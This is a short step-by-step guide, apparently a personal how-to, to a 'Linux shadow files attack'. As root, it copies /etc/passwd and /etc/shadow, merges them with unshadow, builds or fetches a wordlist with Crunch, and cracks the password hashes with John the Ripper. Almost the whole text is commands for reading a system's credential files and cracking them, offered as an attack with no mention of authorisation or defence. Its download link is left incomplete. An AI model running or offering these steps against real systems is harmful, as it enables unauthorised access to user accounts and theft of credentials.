LINUX SHADOW FILES ATTACK

This guide will help you to exploit an attack on linux password, specifically attacking shadow and passwd files, that contains hashed passwords of users.

For this purpose, we need two tools, John the ripper (for cracking) and Crunch (For dictionary generation).

Steps:

1. Install John the Ripper
    a. $Sudo su
    b. $apt install john
2. Dump of shadow files
    a. $sudo su
    b. $cp /etc/passwd passwd.txt
    c. $cp /etc/shadow shadow.txt
3. Join files with John
    a. $sudo unshadow passwd.txt shadow.txt > password.txt
4. Download dictionary or create new one with Crunch
    a. Download existing dictionary
        i. URL: sqlmap.txt
    b. Create new dictionary with Crunch
        i. $sudo apt install crunch
        ii. $crunch <<min_length>> <<max_length>> [-t <<pattern>>] -o <<output_file>>
        iii. Es: crunch 11 11 –t raspbe@@@@@ -o my_dict.txt
5. Cracking password with john
    a. $sudo john --wordlist=/path/to/dict password.txt
    b. If we would use multithread, we can add option --fork=<number_of_thread>
6. Show results
    a. $sudo john --show password.txt